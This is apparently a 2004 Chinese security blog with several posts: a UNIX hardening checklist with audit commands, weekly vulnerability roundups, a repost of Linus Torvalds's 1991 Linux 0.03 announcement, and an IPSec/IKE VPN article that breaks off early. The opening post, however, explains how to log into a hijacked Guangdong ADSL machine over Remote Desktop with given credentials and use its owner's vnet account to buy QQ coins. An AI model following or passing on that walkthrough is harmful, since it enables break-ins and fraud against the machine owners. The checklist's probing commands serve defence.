    61.144.125.0 - 61.144.150.255 广东省 广州市ADSL
    61.140.188.0 - 61.140.219.255 广东省 广州市ADSL
    61.140.221.0 - 61.140.255.255 广东省 广州市ADSL
    关于广东省内的IP段,大家可以在QQ上找几个广东省的朋
    友加他们,在QQ上查看他们的IP就可以了,也可以用QQ代理公布器找几个,也可以用Proxyfinder扫描代理服务器。

    2:现在假设我们事先已经入侵了一台广东省的肉鸡,而且是ADSL的!

    3389登陆,输入IP:218.13.39.24 帐号:test 密码:12345678 登陆肉鸡后,打开IE访问:http://gd.chinavnet.com ---互连星空,然后点击左边的:用vnet帐号“Q币充值”,轻松享受QQ各项服务。 我们就来到了这里:http://vnet.qq.com/gd/vnet.jsp。
    到了:http://vnet.qq.com/gd/vnet.jsp 这里后,我们填如自己的QQ,然后填入要充的Q币个数,一台肉鸡最多只可以冲200个QB。选vnet用户。OK.祝好运:)

    Posted by vitter at 2004-06-30 17:08:39 | 评论 (92)

    UNIX Security Checklist

    通用UNIX系统安全检查列表(UNIX Security Checklist)

    目录
    1. 物理安全
    1.1 控制台安全
    1.2 数据安全
    1.3 用户习惯安全措施
    2. 网络安全
    2.1 过滤
    2.2 防止欺骗
    2.3 网络服务安全
    3. 帐号安全
    3.1 密码安全
    3.2 Root 帐号
    3.3 匿名帐号
    3.4 普通用户帐号
    4. 文件系统安全
    4.1 NFS 安全
    4.2 设备文件安全
    4.3 脚本安全
    4.4 系统配置文件
    4.5 root用户运行的文件
    4.6 文件权限
    5. 安全测试
    附录 A:

    正文
    1. 物理安全

    1.1 控制台安全

    1.1.1 用有效的钥匙锁住房间
    1.1.2 不要有其他的途径进入房间

    1.2 数据安全

    1.2.1 数据备份在安全的,专用的恢复数据的地方
    1.2.2 计算机在UPS 保护下保证稳定的电源
    1.2.3 保护网络电缆不要暴露
    1.2.4 把敏感的信息锁在抽屉里
    1.2.5 毁坏敏感的打印输出和磁带

    1.3 用户习惯安全措施

    1.3.1 当离开时请锁住屏幕或注销登陆机器
    1.3.2 不要把密码或者密码提示书写在桌子上
    1.3.3 细心使用xauth / xhost命令,防止别人读取自己的屏幕
    1.3.4 不要放置欢迎的横幅,只有授权的才允许进入


    2. 网络安全

    2.1 过滤

    2.1.1 在inetd.conf中禁止使用你不需要的服务
    2.1.2 是否已经禁止了”r”系列服务
    2.1.3 是否能用更安全的版本替代(比如ssh2)
    2.1.4 路由器要在(TCP)512,513,514等端口进行过滤
    2.1.5 只为允许访问的机器创建访问控制列表 /var/adm/inetd.sec
    2.1.6 从路由中过滤不必要的服务仅有必要的服务能通路由器上的过滤规则
    2.1.7 采用TCP wrappers 提供更强的访问控制和日志记录功能
    2.1.8 如果你的机器需要连接Internet,请架设防火墙

    2.2 防止欺骗

    2.2.1 路由器
    1. 关闭来源发送
    2. 应用过滤器保证从外部网络进来的信息包的源地址没有与内部网络里的IP 地址相匹配
    3. 确保只有有资格的主机名存在于NFS, hosts.equiv等系统文件里
    4. 尽量不要使用hosts.equiv和.rhosts
    5. 如果要使用.rhost和 .netrc 文件,必须把权限设置为600

    2.3 网络服务安全

    2.3.1 /etc/inetd.conf 文件
    1. 确保该文件的许可权限设置为600
    2. 确保该文件的属主是root
    3. 禁止任何不需要的服务

    2.3.2 /etc/services 文件
    1. 确保该文件的许可权限设置为644
    2. 确保该文件的属主是root

    2.3.3 tcp_wrapper
    1. 保护所有/etc/inetd.conf里允许的服务
    2. 考虑保护任何允许的udp服务,如果保护的话必须在/etc/inetd.conf里使用nowait选项

    2.3.4 /etc/aliases 文件
    1. 在该行的开头用一个“#”号以禁止“decode”别名。为了使改动生效,必须运行/usr/bin/newaliases

    2.3.5 /etc/hosts.lpd 文件
    1. 确保该文件的第一个字符不是“-”
    2. 确保该文件的许可权限设置为600
    3. 确保该文件的属主是root
    4. 确保在该文件中不出现“!”或“#”字符,该文件没有注释字符
    5. 确保已经打上了最新的补丁

    2.3.6 sendmail
    1. 使用最新版本的sendmail
    2. 如果使用操作系统提供的sendmail,确保安装了最新的安全补丁
    3. 确保使用的sendmail 版本没有允许wizard 口令
    4. 确保如果在/etc/sendmail.cf里有“OW”开头的行,则后面仅跟有一个“*”
    5. 把sendmail(8)的最小日志记录级别增加到级别9,这有助于探测对sendmail漏洞的利用

    2.3.7 fingerd
    1. 如无特殊需要,尽量不要使用该服务
    2. 使用最新版本的fingerd 软件

    2.3.8 tftp
    1. 如无特殊需要,尽量不要使用该服务
    2. 一定在inetd.conf文件里设置目录访问限制

    2.3.9 httpd(WWW服务)
    1. 确保使用最行版本的httpd 服务器软件
    2. 以一个专门创建的非特权用户(比如 nobody)的身份来运行httpd服务程序
    3. 不要以root身份来运行httpd服务程序
    4. 可能的话,在一个chroot(1)环境里运行httpd来限制http客户访问文件系统的其他部分
    5. 仔细配置服务器程序的选项
    6. 用配置选项来给敏感目录以附加的保护
    7. 严格限制CGI程序的运行
    8. 确保cgi-bin目录里的内容,权限和属主是所期望的
    9. 避免把用户输入的内容之间传递给命令解释器,如perl,awk或shells
    10. 在传递给任何命令解释器之前过滤调用户输入内容中的潜在危险字符
    11. 有潜在危险的字符包括:\n \r (.,/;~!)>|^&$`<

    2.3.10 Telnet
    1. 确保已经打上了最新的补丁
    2. 是否可以把telnetd服务替换成更安全的版本,因为telnet协议在网络上以明文传输数据,包括用户名和口令

    2.3.11 FTP
    1. 确保使用你所选择的ftpd服务程序的最新版本
    2. 确认所有的系统用户(如uucp, bin, root…)都存在于 /etc/ftpusers 文件中
    3. 确保最少的用户和最小的权限
    4. 使用FTP 日志记录并经常查看日志
    5. 尽量使目录不可写
    6. 检查ftp服务程序的所有缺省配置选项
    7. 确保你的ftp服务程序没有SITE EXEC命令


    3. 帐号安全

    3.1 密码安全

    3.1.1 确保所有帐号都有有效密码
    3.1.2 只有 root 才可以有 UID 0 的权限
    3.1.3 密码不要是可猜测出来或者常用的单词等(可以使用crack工具破解)
    3.1.4 不要把密码记录下来
    3.1.5 不要把密码写在桌子上
    3.1.6 密码强度要大
    3.1.7 最好使用一次性密码
    3.1.8 不要使用.netrc 文件
    3.1.9 当有不正常登陆时需禁止帐号

    3.2 Root 帐号

    3.2.1 确保root只允许从控制台登陆
    3.2.2 检查 root 的文件;不要有 "." 在路径变量里
    3.2.3 限制知道root口令的人数
    3.2.4 使用强壮的密码
    3.2.5 三个月或者当有人离开公司是就更改一次密码
    3.2.6 使用普通用户登陆,用su取得root权限, 而不是以root身份登录
    3.2.7 确保root的登录执行文件里没有执行属于其它用户或人人可写的文件
    3.2.8 使用root专用的shell
    3.2.9 设置 umask 为077 ,在需要时再改回022
    3.2.10 请使用全路径执行命令
    3.2.11 不要允许有非root用户可写的目录存在root的路径里
    3.2.12 确保root没有~/.rhosts文件
    3.2.13 不要把临时文件保存在公用目录里
    3.2.14 确保root的cron job文件里没有执行属于其它用户或人人可写的文件

    3.3 匿名帐号

    3.3.1 只有需要时才允许使用
    3.3.2 把名字从guest改成其他的名字
    3.3.3 使用强壮的密码
    3.3.4 使用受限制的shell
    3.3.5 设置 umask 为077

    3.4 普通用户帐号

    3.4.1 当帐号停止使用时应移除帐号
    3.4.2 不要共享帐号
    3.4.3 使常见的系统用户不可登陆 (如bin,sys,uucp)
    3.4.4 设置 umask 为077
    3.4.5 尽量使用受限制的shell


    4. 文件系统安全

    4.1 NFS 安全

    4.1.1 不需要的话禁止NFS,只有真正需要时才使用NFS,并打上最新的补丁
    4.1.2 在路由器上过滤NFS流量,过滤 TCP/UDP 端口 111 TCP/UDP 端口 2049,这能阻止
    非子网内的机器访问你机器上export出的文件系统。

    4.1.3 小心使用 /etc/exports 文件
    1. 不允许exports 文件保护一个‘localhost’条目
    2. 确保 /etc/exports 的许可权限设置为 644
    3. 确保 /etc/exports 的属主为root

    4.1.4 使用showmount -e 来查看当前输出的东西。
    4.1.5 尽量只允许只读
    4.1.6 尽量不要有suid位
    4.1.7 使用完整的有资格的主机名

    4.2 设备文件安全

    4.2.1 设备文件/dev/null, /dev/tty 和/dev/console 确保全局可写,但不允许执行
    4.2.2 大多数设备文件确保普通用户不可读写
    4.2.3 以非setuid和只读来mount外部文件系统/设备

    4.3 脚本安全

    4.3.1 不要写带有 setuid / setgid位的shell 脚本; 用c代替它
    4.3.2 在脚本中要使用全路径

    4.4 系统配置文件

    4.4.1 如果不使用任何“r”系列服务的话,/etc/hosts.equiv文件必须被删除或改名,
    这样即使任何“r”系列命令被偶然打开也不会导致任何问题

    4.4.2 如果必须使用 /etc/hosts.equiv文件
    1. 确保只列出最小数量的信任主机,仅信任域内或在管理之下的主机
    2. 确保使用完全格式主机名,比如 hostname.domainname.cn
    3. 确保在文件中的任何地方都不能有一个 “+”条目
    4. 确保在该文件中不出现“!”或“#”字符,该文件没有注释字符
    5. 确保该文件的第一个字符不是“-”
    6. 确保该文件的属主是root
    7. 确保该文件的许可权限设置为600

    4.4.3 如果不使用 $HOME/.rhosts 文件的话,确保每个用户的home目录里都没有.rhosts文件,
    该文件的安全风险更大于/etc/hosts.equiv 文件,因为每个用户都能创建.rhosts文件。
    使用cron 来周期性的检查和报告.rhosts的内容,并删除它,并且应该让用户知道在周
    期性的执行这种审计。

    4.4.4 如果必须使用 $HOME/.rhosts文件的话

    1. 确保该文件的第一个字符不是“-”
    2. 确保该文件的许可权限设置为600
    3. 确保该文件的属主是该账号的属主
    4. 确保在文件中的任何地方都不能有一个“+”条目
    5. 确保在该文件中不出现“!”或“#”字符,该文件没有注释字符

    4.5 root用户运行的文件

    4.5.1 严格保证root运行的任何东西的属主都是root

    4.5.2 为root账号检查下列文件的内容:
    1. ~/.login, ~/.profile以及类似的登录初始化文件
    2. ~/.exrc和类似的程序初始化文件
    3. ~/.logout以及类似的登录session清理文件
    4. crontab 和 at 条目
    5. 在NFS分区上的文件
    6. /etc/rc*和类似的系统启动和终止文件

    4.6 文件权限

    4.5.1 确保/etc/utmp的权限设置为644
    4.5.2 确保/etc/state的权限设置为644
    4.5.3 确保/etc/syslog.pid的权限设置为644
    4.5.4 确保/etc/sm 和 /etc/sm.bak的权限设置为2755
    4.5.5 考虑对用户不需要访问的文件取消读权限
    4.5.6 确保操作系统核心(比如/vmunix)的属主为root,组id为0,权限为644
    4.5.7 确保临时文件目录(比如/tmp)设置sticky-bit
    4.5.8 取消不必要的SUID和SGID文件
    4.5.9 确保umask值设置为027或077
    4.5.10 确保/dev下都是特殊文件
    4.5.11 确保在/dev之外没有不期待的特殊文件
    4.5.12 确保启动和关闭系统脚本的许可权限不是666
    4.5.13 最小的可写文件系统,如目录,文件等

    5. 安全测试

    5.1 确保已经安装了操作系统提供商发布的最新补丁
    5.2 订阅安全邮件列表或者新闻组
    5.3 如果你不使用 NIS或者NIS+, 架构你的系统为一个可信赖的HP-UX系统来确保系统安全
    5.4 经常用网络扫描工具来测试网络安全 如SATAN
    5.5 经常使用工具检测各种系统问题 如COPS
    5.6 在root用户受到威胁之后应使用一些入侵检测工具 如TIGER
    5.7 定时使用密码破解工具确保密码不容易被破解 如CRACK
    5.8 使用Tripwire 加密文件
    5.9 经常查看日志文件, 如 btmp, wtmp, syslog, sulog 等
    5.10 把任何可疑的信息自动发送给系统管理员

    附录 A:

    系统检查可能会用到的命令

    A.1 重起 inetd
    # /bin/ps -aux | /bin/grep inetd | /bin/grep -v grep
    # /bin/kill -HUP

    A.2 列出已注册的rpc服务
    # /usr/bin/rpcinfo –p

    A.3 重建alias(别名)映射
    # /usr/bin/newaliases

    A.4 测试是否sendmail wizard password被允许
    % telnet hostname 25
    wiz
    debug
    kill
    quit
    %
    应该看到响应"5nn error return",否则的化应该升级sendmail.

    A.5 把sendmail日志级别设置为9
    在sendmail配置文件里的普通信息配置部分:
    O LogLevel=9

    A.6 为mail消息设置syslog日志级别
    /etc/syslog:
    mail.info /dev/console
    mail.info /var/adm/messages
    # kill –HUP

    A.7 测试ftpd是否支持SITE EXEC
    普通用户:
    % telnet localhost 21
    USER username
    PASS password
    SITE EXEC
    匿名用户:
    % telnet localhost 21
    USER ftp
    PASS test@test.com
    SITE EXEC
    如果不支持的话有响应信息"5nn error return"

    A.8 查找 .exerc 文件
    # /bin/find / -name '.exrc' -exec /bin/cat {} \; -print

    A.9 查找同组或所有用户可写文件和目录
    # /bin/find / -type f \( -perm -2 -o -perm -20 \) -exec ls -lg {} \;
    # /bin/find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \;

    A.10 查找代SUID位和SGID位的文件
    # /bin/find / -type f \( -perm -004000 -o -perm -002000 \) -exec ls -lg {} \;

    A.11 查找 /dev 下的普通文件
    # /bin/find /dev -type f -exec ls -l {} \;

    A.12 查找块或字符特殊文件
    # /bin/find / \( -type b -o -type c \) -print | grep -v '^/dev/'

    Posted by vitter at 2004-06-30 12:48:26 | 评论 (0)

    上周安全评点及本周预测(04/06/21)

    本周微软IE浏览器爆出“IE浏览器跨域重定向漏洞”,通过CNCERT/CC的监测,网络上已经出现多种利用该漏洞的恶意网页,这些网页能够向用IE浏览器访问它们的用户系统中植入木马。使用IE作为浏览器的用户请及时对该漏洞进行修补,具体方法请见:
    http://www.cert.org.cn/articles/bulletin/common/2004061821764.shtml.
    http://www.cert.org.cn/articles/bulletin/common/2004061821764.shtml.*nix方面:
    1.Linux内核出现了一个本地dos漏洞,请用户升级内核:
    http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.7.bz2http://www.kernel.org/pub/linux/kernel/v2.6/patch-2.6.7.bz2
    2.NetBSD's swapctl()系统调用存在一个整数溢出,本地攻击者可以利用这个漏洞对系统进行拒绝服务攻击。
    3.OpenBSD's isakmpd实现存在dos漏洞,远程攻击者可以利用这个漏洞发送畸形UDP ISAKMP包进行拒绝服务攻击。

    Posted by vitter at 2004-06-30 10:16:59 | 评论 (0)

    June 14, 2004

    上周安全点评(04/06/14)

    上周“高波”(Worm_Agobot)蠕虫仍大规模流行,预计这周传播态势不减,请广大用户注意查杀,关于该安全事件的具体分析与对于该蠕虫的查杀方法详见:http://www.cert.org.cn/articles/virus/common/2004061121737.shtml。

    上周漏洞方面,微软新发布了两个安全公告:
    1.Directplay 漏洞允许拒绝服务攻击(MS04-017)
    http://www.venustech.com.cn/tech/announce/20040609/2306.htm
    2.Crystal Reports Web Viewer 漏洞导致信息泄漏和拒绝服务攻击(MS04-016)
    http://www.venustech.com.cn/tech/announce/20040609/2306.htm
    *nix漏洞方面,有两个漏洞较为重要:
    1.CVS又公布多个安全漏洞,CVS本月出现多个安全漏洞其中多个为远程安全漏洞,危害极大请广大使用CVS的用户注意,关于该安全事件的具体分析与对于该漏洞修补方法详见:
    http://www.cert.org.cn/articles/hole/common/2004061021736.shtml
    2.Apache mod_proxy “Content-Length:”头缓冲区溢出漏洞,请使用Apache mod_proxy的用户注意,关于该安全事件的具体分析与对于该漏洞修补方法详见:
    http://www.cert.org.cn/articles/hole/common/2004061121745.shtml

    Posted by vitter at 2004-06-14 13:29:26 | 评论 (0)

    June 08, 2004

    LINUX--a free unix-386 kernel

    这是Linus在1991年10月写的标题为“LINUX--a free unix-386 kernel”的文章。这篇文章是Linus随内核0.03版一起给出的。其中概要说明了为什么要开发Linux、Linux的使用人群以及安装和配置方法等。在文中有这样一段话:“ GNU的Hurd系统虽然是免费的,但是到Hurd能够发布时Hurd系统就已经变得太大而不适合用于学习和理解了。...而Linux(指当时的早期版本0.03)则主要是为hackers和计算机科学系的学生学习使用。”现在看来,如今的Linux系统正象当年的Hurd系统一样,变得既庞大又复杂,已经不适合作为操作系统的入门学习系统。这也正是本站以Linux早期版本为蓝本介绍和学习操作系统原理的主要出发点之一。
    PDF下载 (这篇文件现在世界上真的很难找了:-))

    LINUX--a free unix-386 kernel
    Linus Torvalds (torvalds@kruuna.helsinki.fi)

    October 10, 1991


    Introduction to LINUX

    What is LINUX?
    LINUX is a free unix-like kernel for 386-AT computers, coming with full source code. It is meant for hackers/computer science students to use, learn and enjoy. It is written mostly in C, but parts of it are in gnu-format assembler, and the boot-sequence is in intel 086 assembly language. The C-code is relatively ANSI, with a few GNU enhancements (mostly __asm__ and inline).

    While there are a number of unices available for 386 computers, most of them cost a lot of money, and come with no source. Thus, they are ideal for actually using your computer, but if you want to learn how they work, you are f- -ked.

    There are also a few unices available with source. Minix, the learning tool written by Andrew S. Tanenbaum, has been used in universities as a teaching tool for years. The BSD-386 system comes with source, but has a restrictive copyright and costs a lot of money ($995 is the starting price, I think). The GNU kernel (Hurd) will be free, but is currently not ready, and will be too big to understand and learn.

    LINUX most closely resembles Minix, in that it is small and not very sophisticated, and thus easy (well...) to understand. LINUX was also written under Minix, so there are quite a bit of similarities, and any Minix hacker will feel relatively at home with LINUX. None of the Minix code was used in the project though, so the Minix copyright doesn't cover the new system. It also is completely free, and has a very loose copyright. Thus there is no need for megabytes of diffs like under Minix.


    The LINUX copyright
    While being freely distributable, I do restrict the use of LINUX in a few ways:

    You may freely copy and redistribute the source and binaries, as long as:
    complete source is available. Thus binaries may not be distributed by themselves, even if you have made changes to them.
    you do not profit from the distribution. In fact even ``handling costs'' are not acceptable.
    you keep the appropriate copyrights intact.
    You may change the source to your liking, but if you distribute parts of the new system (or just binaries), all the new code must be included.
    You may make small excepts from the code without including copyrights. This is up to you, but a reference to me or the code would be appreciated.
    This should be loose enough not to cause any worry in anybody using or expanding the system. If you have a friend who really doesn't want the source, but just a working binary, you may of course give it to him without worrying whether I will sue you. Keep it between friends, though.

    Hardware/software needed to get LINUX running
    LINUX was written on a 386-AT running Minix. As LINUX is a real operating system, and goes directly to the hardware to do things, you have to have a very similar system to get it going without problems:

    386-AT (PS/2's are different enough that things won't work)
    VGA or EGA screen hardware.
    Standard AT hard-disk interface, IDE disks work fine (in fact that's what I use).
    Normal real-mode BIOS. Some machines seem to use virtual-86 mode to run the bootup program, and on such machines LINUX won't boot up and run correctly.
    While LINUX will be expanded to be a self-sufficient system, Minix-386 is currently needed to get the ball rolling. You need Minix to make the initial root file system, and to compile the OS binary. After that LINUX is a self-sufficient system, but Minix is recommended in order to make file system checking (fsck) and to recompile the system after making changes.


    Getting LINUX
    LINUX can currently be gotten by anonymous ftp from `nic.funet.fi' in the directory '/pub/OS/Linux'. This directory contains the full source to the operating system, as well as a couple of binaries so that you can actually use the system.


    NOTE! The binaries are mostly GNU software, and are under a stricter copyright (the GNU copyleft) than the LINUX sources. Thus you may not redistribute them without distributing their source, found in /pub/GNU. See any GNU software package for more information on the GNU copyleft.


    The various files found in this directory are:

    linux-0.03.tar.Z--complete source to the operating system, in a 16-bit compressed tar archive.
    Linux.tex--LATEX source for this file.
    bash.Z--bash binary to run under LINUX. This binary should be put under tha name /bin/sh in the file system reserved for LINUX (see installation).
    update.Z--update binary, to be put in /bin/update.
    gccbin.tar.Z--GNU cc binaries needed to get a working compiler. This tarred archive contains the compiler, loader, assembler and support programs (nm, strip etc). It also contains a small library sufficient for most programs.
    include.tar.Z--include-files necessary to get gcc working.
    unistd.tar.Z--source to the unistd library routines (ie system call interface). With this you can build a bigger library by using system-independent library sources.
    utilbin.tar.Z--binaries to various GNU utilities, including GNU fileutils, make and tar. Also contains the emacs-clone uemacs.
    README, RELNOTES-0.01, INSTALLATION--ascii files containing some (somewhat out-of-date) information about LINUX.
    The absolute minimum needed to get a system going is the OS source and the bash and update binaries. You won't be doing much with just these though.


    Installation
    After you have gotten the necessary LINUX files, you need to compile the system and make a root directory. The necessary binaries need to be put in the root file system. Do this:

    Back up your software. While LINUX never has destroyed any of my files, nothing is certain. Better safe than sorry.
    Choose/make a standard Minix HD-partition to be the new LINUX root file system.
    Make the necessary device nodes on the new root. LINUX uses the same type of nodes as Minix, so use the Minix mknod command to make the following devices:
    /dev/tty
    /dev/tty[0-2]
    /dev/hd[0-9]
    Node numbers are the same as in Minix.
    Move the necessary files to the new root partition. The files should be in the following directories:
    /bin:
    sh, ie bash.Z.
    update
    /usr/bin:
    Contents of utilbin.tar.Z
    /usr/include:
    Contents of include.tar.Z
    /usr/local/lib:
    Contents of gccbin.tar.Z, excepting gcc
    /usr/local/bin:
    gcc
    links to files in /usr/local/lib of your choice. I link ld, as, nm, strip and size to their counterparts in /usr/local/lib/gcc-XXX.
    Edit the linux/include/linux/config.h file for your system. This file contains the system-specific information: memory space, disk types, root partition number (again the numbering is the same as in Minix), keyboard type (currently just US and Finnish) etc.
    Compile the LINUX sources. A simple make should do the trick, after you have edited the makefiles to suit your system (ie, removed the -mstring-insns flag and changed the paths to suit you.) Users of gcc versions earlier than 1.40 will probably have to add gnulib to the `LIBS ='-line in the makefile.
    Copy the resultant Image-file to a floppy (ie, cp Image /dev/PS0 or similar.)
    Reboot with the new floppy. The startup screen should tell you that the system is booting (Loading system ...), then some vital root file system information (xxx/XXX inodes/blocks free), followed by a Ok. and the bash prompt (initially bash# if you have no .bashrc file).
    Hopefully you now have a functioning unix, and you are logged in as root. LINUX currently has no 'init' process, and as soon as you log out, the system will sync and just wait. Use the three-finger-salute to reboot your machine.

    Things missing/incomplete in LINUX
    While LINUX is meant to be a fully selfsufficient kernel, this is currently not the case. As already mentioned, you need Minix to set things up, and to check the file system once it's running. There are a number of other deficiencies:

    Incomplete hardware-support. Some of the standard features of an AT are not currently supported. Most notably are floppy disk drives, making using LINUX for real work (backing up etc) currently not possible. Also some of the features of the serial lines aren't yet implemented (hard-wired to 2400bps, no hang-up notification etc).
    Incomplete standard C library. The libc.a found in the gcc distribution package is not complete, and I'm very much interested in freely distributable library functions.
    Some of the system calls are not fully implemented. This concerns mostly ``seldom-used'' features like debugging (yeah, who needs it anyway, don't all your programs work the first time :-) and some other features.
    As mentioned, no login and init processes. Currently LINUX boots up in single-user mode, with the root as console-user. This is enough for some porting work, but not really practical.
    387-support is not yet implemented, although some skeleton routines are present. The gcc-binary found on `nic.funet.fi' will correctly use soft-float (ie emulation function calls) for the four basic math operations. 387-support will materialize as soon as a 387 finds its way into my computer. Hopefully in a month or two.
    None of the important system-administration commands has yet been written for LINUX. These include things like mkfs, format, fsck, mknod etc. Some of these need kernel features not yet implemented (format, mknod), some just need to be written. As with the library, I'd welcome any freely distributable files.
    As you can see, LINUX is as yet not a complete system. Your help is appreciated to make it better. I'm not interested in Minix-commands rewritten for LINUX, unless you have written them yourself from scratch. You are of course free (and encouraged) to use everything you have in your Minix-distribution for your own LINUX-system, but due to the Minix copyrights, they cannot be distributed to a wider audience.

    Some of the probelms mentioned here will be fixed by me (ie serial lines/387/floppy support) as soon as possible, but I'm hoping to get help with the libraries etc. Bug-reports/patches and wish-lists will be appreciated, and if you actually have the patch to the problem, I'll try to implement it right away. Small changes will be sent out as patches to the mailing list and be set up on `nic.funet.fi', but after heavy rewrites or bigger patches, the whole system will be updated at `nic.funet.fi'.


    Porting software for LINUX
    LINUX was designed to make porting relatively easy. Thus the full termios-implementation, and the somewhat POSIX library. The (admittedly relativly few) programs I've ported posed no problems.

    Even though LINUX resembles Minix a great deal, Minix programs are not generally easier to port than programs designed for some other unix. Thus I wouldn't recommend starting from a Minix-version of a particular program, but instead trying to port the ``virgin'' program from scratch. Being closer to SYSV than BSD means that most programs port easily when given a -DUSG or -DSYSV flag.

    One of the more difficult problem in porting can be missing library functions. These must be written by you, or copied from some other source (Minix being one possibility for those that have it). Alternatively, some programs (notably GNU) have various flags making it possible to define which functions aren't available (the GNU fileutils will compile quite nicely, once a sufficient number of -DXXX_MISSING flags are added to the Makefile.)


    Programs already ported
    These programs have already been ported to LINUX:

    GNU cc (gcc, cc1, cpp)
    GNU assembler (as386)
    GNU binutils (ld, ar, nm, size, strip, ranlib)
    GNU compress (16-bit)
    GNU tar
    GNU make
    GNU bash (Bourne Again SHell)
    GNU sed
    GNU bison (yacc-lookalike)
    GNU awk
    GNU fileutils (ls, cp, rm, mkdir, rmdir, tail etc)
    less
    uemacs
    All of the above sources can be found on `nic.funet.fi' (mostly in `/pub/gnu'), and most of the LINUX-binaries can be found in the directory '/pub/OS/Linux'. All of these programs compiled without changes, even though gcc (cc1) has some enhancements of my own. Mail me for diffs/sources, but try first to compile them yourself.

    Additionally I have reports that GNU diff compiles cleanly and works.


    Technical help
    LINUX currently has a mailing-list, which you can subscribe to by mailing to the address: Linux-activists-request@niksula.hut.fi and asking to be included into the list. You can then ask questions by mailing them to Linux-activists@niksula.hut.fi, which will duplicate your question/answer/whatever and send them to all persons on the list.

    Note the difference between Linux-activists and Linux-activists-request -- the first sends mail to all persons on the list, the second is used only to subscribe and unsubscribe from the list.

    Naturally, you can also mail me directly at torvalds@kruuna.helsinki.fi. I'll try to answer all questions within a day or two.

    Although `nic.funet.fi' will probably be kept reasonably up-to-date, there are a few problems with it (ie, I cannot personally get to the files, but have to go through a couple of persons). Thus people on the mailing-list will get patches/binaries faster if they ask for them.


    Thanks
    I'd like to thank the academy ...

    Seriously, this system never would have seen the light of day or would have been much worse without the help of some others. Bruce Evans helped me find the places needed to be changed in order for gcc to correctly handle floating point, and came with a lot of useful ideas/suggestions (and his Minix-386 was used to build the system). Also, Earl Chew's estdio package was used for the standard IO-library. More freely distributable packages like this!

    Alain W Black and Richard Tobin made the gcc for Minix, without which I couldn't have compiled the thing. GNU made most of the programs I use under LINUX. Alfred Leung sent the US keyboard patches.

    PS. ``Thanks'' to wirzeniu@kruuna.helsinki.fi for his ``constructive'' criticism and ``witty'' comments. He was also my first -tester, and should be given a medal for courage.

    Posted by vitter at 2004-06-08 13:03:57 | 评论 (0)

    June 07, 2004

    上周安全点评(07/06/04)

    上周,CNCERT/CC监测到的利用LSASS漏洞数据量的剧增,怀疑近日所可能与“考格”F变种的出现有关。利用微软LSASS漏洞的新蠕虫“考格”初现于2004年5月22日,国际通称为“Korgo”。在历经A、B、C、D、E多个变种之后,本周“考格”又出现了新的变种“Win32.Korgo.F”。该变种除了与以往蠕虫类似在TCP 445端口上利用LSASS漏洞外,还同时监听TCP 113、3067端口和一些随机开启的端口。
    *nix方面:
    1.在Tripwire中安全专家发现存在格式化字符串漏洞,当前不清楚该漏洞是否能被成功利用,建议使用Tripwire的用户到官方网站www.tripwire.org升级。
    2.MIT krb5库中的krb5_aname_to_localname()函数发现多个缓冲区溢出漏洞,攻击者可以利用该漏洞获得远程权限请用户尽快升级,补丁地址为http://web.mit.edu/kerberos/advisories/2004-001-an_to_ln_patch.txt。

    Posted by vitter at 2004-06-07 14:00:40 | 评论 (0)

    June 03, 2004

    利用IKE构建企业虚拟网


    目前,互联网通信面临的风险主要包括两个方面:1.信息在传输时被偷看或非法修改;2.公网对内部网的非法访问和攻击。在这样的情况下,VPN技术脱颖而出,它可以很好地解决利用互联网传输的安全问题。

    IPSec是被广泛接受用来实现VPN的技术,在企业中得到广泛应用。IPSec在IP层上对数据包进行保护,它可提供数据源验证、无连接数据完整性、数据机密性、抗重播和有限业务流机密性等安全服务,可以在相当程度上降低互联网通信的风险。

    IKE(Internet Key Exchange)是IPSec中至关重要的一个协议,因为IPSec需要使用它协商某些与IPSec安全有关的安全参数,包括计算机信任、加密密钥和安全方法。IKE的主要功能就是安全联盟(SA)的建立和维护。

    本文主要从IPSec及IKE简介、Linux VPN运行环境组建和IKE配置等三个方面进行描述,并给出利用IKE构建VPN应用的实例。

    IPSec及IKE简介

    1.IPSec简介

    IPSec协议由一组协议组成,其中包括AH、ESP、IKE及加密和验证算法。ESP用于确保IP数据包的机密性(未被别人看过)、数据的完整性及对数据源的身份验证。此外,它还要负责对重播攻击的抵抗。AH也提供了数据完整性、数据源验证及抗重播攻击的能力,但不能用它来保证数据的机密性。

    IPSec的安全服务是由通信双方建立的安全联盟(SA)来提供的。SA表示了策略实施的具体细节,包括源/目的地址、应用协议、 SPI(安全策略索引)、所用算法/密钥/长度,它们决定了用来保护数据安全的IPSec协议、模式、算法/密钥、生存期、抗重播窗口及计数器等。

    每一个IPSec节点都包含有一个安全策略库(SPD)。SPD决定了整个VPN的安全需求。在SPD这个数据库中,每个条目都定义了要保护的是什么通信、怎样保护它,以及和谁共享这种保护。IPSec系统在处理输入/输出IP流时必须参考该策略库,并根据从SPD中提取的策略对IP流进行不同的处理:拒绝、绕过或进行IPSec保护。

    IPSec协议(包括AH和ESP)有传输模式和通道模式两种工作模式。传输模式用来保护上层协议;而通道模式用来保护整个IP数据报。在传输模式中,IP头与上层协议头之间需插入一个特殊的IPSec头;而在通道模式中,要保护的整个IP包都需封装到另一个IP数据报里,同时在外部与内部IP头之间插入一个IPSec头。

    2.IKE简介

    用IPSec保护一个IP包之前,必须先建立一个SA。IKE用于动态建立SA。IKE代表IPSec对SA进行协商,并对SADB和SPD数据库进行填充。

    IKE利用PF_KEY接口与内核进行交互,以便更新内核的SPD和SADB。SADB是一个存在于内核中的逻辑实体,用来存储、更新、删除安全协议的安全联盟数据。安全协议(如IPSec)利用内核中的逻辑接口来请求和获取SA。

    IKE规定了协商的两个独立阶段。第一阶段目的是通信各方彼此间建立一个通过身份验证和安全保护的通道IKE SA。对该阶段来说,IKE采用的是身份保护交换,以及根据基本ISAKMP文档制定的野蛮交换法,即“主模式”和“野蛮模式”。它们各自做的都是建立一个保密和验证无误的通信信道(IKE SA),并建立验证过的密钥,为双方的IKE通信提供机密性、消息完整性及消息源验证服务。

    IKE SA提供了各种各样的参数,这些参数称为“保护套件”,包括加密算法、散列算法、验证方法及Diffie-Hellman组。还有一些可选属性,它们可作为保护套件的一部分进行协商。在这些可选属性之前,必须加上一个“存活时间”(有效期)。

    对第二阶段来说,IKE定义了一种快速模式交换。在第一阶段建立IKE SA后,就可以利用它加密地进行IPSec SA的参数协商,如加密算法、验证算法、密钥和存活时间等。

    Linux VPN运行环境组建

    1.升级到内核2.6.5

